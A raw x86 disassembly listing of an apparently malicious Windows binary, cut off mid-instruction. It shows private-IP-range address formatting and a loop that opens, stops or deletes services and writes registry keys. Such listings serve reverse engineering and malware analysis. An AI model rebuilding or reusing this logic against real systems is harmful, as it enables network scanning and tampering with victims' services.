loc_43EEF9: ; CODE XREF: .data:0043EED5j
; .data:0043EEEBj
cmp byte ptr [ebp-111h], 0Ah
jnz short loc_43EF2E
movzx eax, byte ptr [ebp-132h]
push eax
movzx eax, byte ptr [ebp-131h]
push eax
movzx eax, byte ptr [ebp-134h]
push eax
push offset sub_404D49
lea eax, [ebp-130h]
push eax
call sub_43F911
add esp, 14h
loc_43EF2E: ; CODE XREF: .data:0043EF00j
movzx eax, byte ptr [ebp-111h]
cmp eax, 0ACh
jnz short loc_43EF88
mov al, [ebp-112h]
cmp al, 0Fh
jbe short loc_43EF88
cmp al, 21h
jnb short loc_43EF88
call sub_43F8F9
movzx edi, byte ptr [ebp-132h]
push edi
movzx edi, byte ptr [ebp-131h]
push edi
mov edx, eax
and edx, 8000000Fh
jge short loc_43EF6E
dec edx
or edx, 0FFFFFFF0h
inc edx
loc_43EF6E: ; CODE XREF: .data:0043EF67j
mov edi, edx
add edi, 10h
push edi
push offset sub_404D3C
lea edi, [ebp-130h]
push edi
call sub_43F911
add esp, 14h
loc_43EF88: ; CODE XREF: .data:0043EF3Aj
; .data:0043EF44j ...
movzx eax, byte ptr [ebp-111h]
cmp eax, 0C0h
jnz short loc_43EFC8
movzx eax, byte ptr [ebp-112h]
cmp eax, 0A8h
jnz short loc_43EFC8
movzx eax, byte ptr [ebp-132h]
push eax
movzx eax, byte ptr [ebp-131h]
push eax
push 404D2Eh
lea eax, [ebp-130h]
push eax
call sub_43F911
add esp, 10h
loc_43EFC8: ; CODE XREF: .data:0043EF94j
; .data:0043EFA2j
lea eax, [ebp-130h]
push eax
call sub_43F59D
cmp [ebp-10Ch], eax
jz loc_43EE06
push dword ptr [ebp-10Ch]
call sub_43F5A9
movzx edi, word ptr ds:loc_404094
push edi
push eax
push 404D27h
lea edi, [ebp-0FFh]
push edi
call sub_43F911
add esp, 10h
loc_43F008: ; CODE XREF: .data:0043F031j
lea ecx, [ebp-0FFh]
or eax, 0FFFFFFFFh
loc_43F011: ; CODE XREF: .data:0043F016j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F011
cmp eax, 19h
jz short loc_43F033
push offset sub_404D25
lea eax, [ebp-0FFh]
push eax
call sub_43F929
add esp, 8
jmp short loc_43F008
; ---------------------------------------------------------------------------
loc_43F033: ; CODE XREF: .data:0043F01Bj
lea ecx, [ebp-0FFh]
or eax, 0FFFFFFFFh
loc_43F03C: ; CODE XREF: .data:0043F041j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F03C
push eax
lea edi, [ebp-0FFh]
push edi
mov edi, ebx
add edi, 9
push edi
call sub_43F8D5
add esp, 0Ch
lea eax, [ebp-130h]
push eax
call sub_43F59D
push esi
push ebx
push eax
call sub_43E731
add esp, 0Ch
mov [ebp-13Ch], eax
push 0
call sub_43F8BD
add esp, 4
jmp loc_43EE06
; ---------------------------------------------------------------------------
db 5Fh, 5Eh, 5Bh
dd 4C2C9h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F08C proc near ; CODE XREF: .data:0043F0CEp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call sub_43F70D
cmp eax, 80000000h
jb short loc_43F0A3
mov eax, 3Ch
jmp short locret_43F0C4
; ---------------------------------------------------------------------------
loc_43F0A3: ; CODE XREF: sub_43F08C+Ej
push 0
lea eax, [ebp+var_4]
push eax
call sub_43F5F1
and [ebp+var_4], 2
cmp [ebp+var_4], 2
jnz short loc_43F0BF
mov eax, 12Ch
jmp short locret_43F0C4
; ---------------------------------------------------------------------------
loc_43F0BF: ; CODE XREF: sub_43F08C+2Aj
mov eax, 64h
locret_43F0C4: ; CODE XREF: sub_43F08C+15j
; sub_43F08C+31j
leave
retn
sub_43F08C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
call sub_43F08C
mov ebx, eax
lea eax, [ebp-4]
push eax
push 0
push 0
push 401565h
push 0
push 0
call sub_43F79D
push eax
call sub_43F6F5
xor esi, esi
jmp short loc_43F127
; ---------------------------------------------------------------------------
loc_43F0F5: ; CODE XREF: .data:0043F129j
lea eax, [ebp-4]
push eax
push 0
push 0
push 401E23h
push 0
push 0
call sub_43F79D
push eax
call sub_43F6F5
mov eax, 0EA60h
xor edx, edx
div ebx
mov [ebp-8], eax
mov edi, eax
push eax
call sub_43F8BD
pop ecx
inc esi
loc_43F127: ; CODE XREF: .data:0043F0F3j
cmp esi, ebx
jb short loc_43F0F5
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F132 proc near ; CODE XREF: sub_43F401+ACp
var_388 = dword ptr -388h
var_384 = dword ptr -384h
var_380 = dword ptr -380h
var_37C = dword ptr -37Ch
var_378 = dword ptr -378h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = byte ptr -36Ch
var_16C = dword ptr -16Ch
var_168 = byte ptr -168h
var_164 = dword ptr -164h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 388h
push ebx
push esi
push edi
lea edi, [ebp+var_16C]
lea esi, sub_404A38
mov ecx, 51h
rep movsd
and [ebp+var_24], 0
loc_43F155: ; CODE XREF: sub_43F132+211j
push 0F003Fh
push 0
push 0
call sub_43F845
mov [ebp+var_28], eax
or eax, eax
jz loc_43F33C
push 0F003Fh
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_370], eax
push [ebp+eax+var_16C]
push [ebp+var_28]
call sub_43F851
mov ebx, eax
or eax, eax
jz loc_43F334
lea eax, [ebp+var_20]
push eax
push 1
push ebx
call sub_43F82D
mov [ebp+var_4], eax
and [ebp+var_4], 0
loc_43F1AD: ; CODE XREF: sub_43F132+A4j
lea eax, [ebp+var_20]
push eax
push 4
push ebx
call sub_43F82D
or eax, eax
jz short loc_43F1C3
cmp [ebp+var_1C], 1
jnz short loc_43F1C5
loc_43F1C3: ; CODE XREF: sub_43F132+89j
jmp short loc_43F1D8
; ---------------------------------------------------------------------------
loc_43F1C5: ; CODE XREF: sub_43F132+8Fj
push 3E8h
call sub_43F779
inc [ebp+var_4]
cmp [ebp+var_4], 0Ah
jb short loc_43F1AD
loc_43F1D8: ; CODE XREF: sub_43F132:loc_43F1C3j
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_374], eax
cmp [ebp+eax+var_168], 0
jz short loc_43F1F6
push ebx
call sub_43F839
loc_43F1F6: ; CODE XREF: sub_43F132+BCj
push ebx
call sub_43F821
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_378], eax
cmp [ebp+eax+var_164], 0
jz loc_43F334
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_37C], eax
mov eax, [ebp+eax+var_164]
cmp byte ptr [eax], 0
jnz loc_43F2BC
push 0
push 18h
lea eax, [ebp+var_36C]
push eax
push 0
call sub_43F5FD
or eax, eax
jz short loc_43F2BC
lea ecx, [ebp+var_36C]
or eax, 0FFFFFFFFh
loc_43F255: ; CODE XREF: sub_43F132+128j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F255
mov [ebp+var_4], eax
cmp [ebp+var_4], 1
jbe short loc_43F289
mov eax, [ebp+var_4]
sub eax, 1
cmp [ebp+eax+var_36C], 5Ch
jz short loc_43F289
push 404BA0h
lea eax, [ebp+var_36C]
push eax
call sub_43F929
add esp, 8
loc_43F289: ; CODE XREF: sub_43F132+131j
; sub_43F132+141j
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_380], eax
mov eax, [ebp+eax+var_164]
push dword ptr [eax+8]
lea eax, [ebp+var_36C]
push eax
call sub_43F929
add esp, 8
lea eax, [ebp+var_36C]
push eax
call sub_43F7A9
loc_43F2BC: ; CODE XREF: sub_43F132+FEj
; sub_43F132+118j
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_380], eax
mov eax, [ebp+eax+var_164]
cmp byte ptr [eax], 1
jnz short loc_43F334
lea eax, [ebp+var_4]
push eax
push 20006h
push 0
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_384], eax
mov edx, [ebp+eax+var_164]
push dword ptr [edx+4]
mov eax, [ebp+eax+var_164]
push dword ptr [eax+0Ch]
call sub_43F881
or eax, eax
jnz short loc_43F334
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_388], eax
mov eax, [ebp+eax+var_164]
push dword ptr [eax+8]
push [ebp+var_4]
call sub_43F85D
push [ebp+var_4]
call sub_43F875
loc_43F334: ; CODE XREF: sub_43F132+62j
; sub_43F132+E0j ...
push [ebp+var_28]
call sub_43F821
loc_43F33C: ; CODE XREF: sub_43F132+36j
inc [ebp+var_24]
cmp [ebp+var_24], 1Bh
jb loc_43F155
pop edi
pop esi
pop ebx
leave
retn 4
sub_43F132 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push edi
mov eax, [ebp+0Ch]
cmp eax, 10h
jz short loc_43F3DE
jg short loc_43F36B
cmp eax, 2
jz short loc_43F3D5
jmp loc_43F3EB
; ---------------------------------------------------------------------------
loc_43F36B: ; CODE XREF: .data:0043F35Fj
cmp eax, 113h
jnz short loc_43F3EB
and dword ptr [ebp-4], 0
mov dword ptr [ebp-8], 4
lea eax, [ebp-10h]
push eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push 404B81h
push offset sub_404B85
push 80000001h
call sub_43E370
mov eax, dword ptr ds:sub_404098
mov [ebp-0Ch], eax
add [ebp-4], eax
push 4
push 4
lea eax, [ebp-4]
push eax
push 404B81h
push offset sub_404B85
push 80000001h
call sub_43E305
add esp, 30h
push 0
push offset sub_404098
call sub_43F725
jmp short loc_43F3FC
; ---------------------------------------------------------------------------
loc_43F3D5: ; CODE XREF: .data:0043F364j
push 0
call s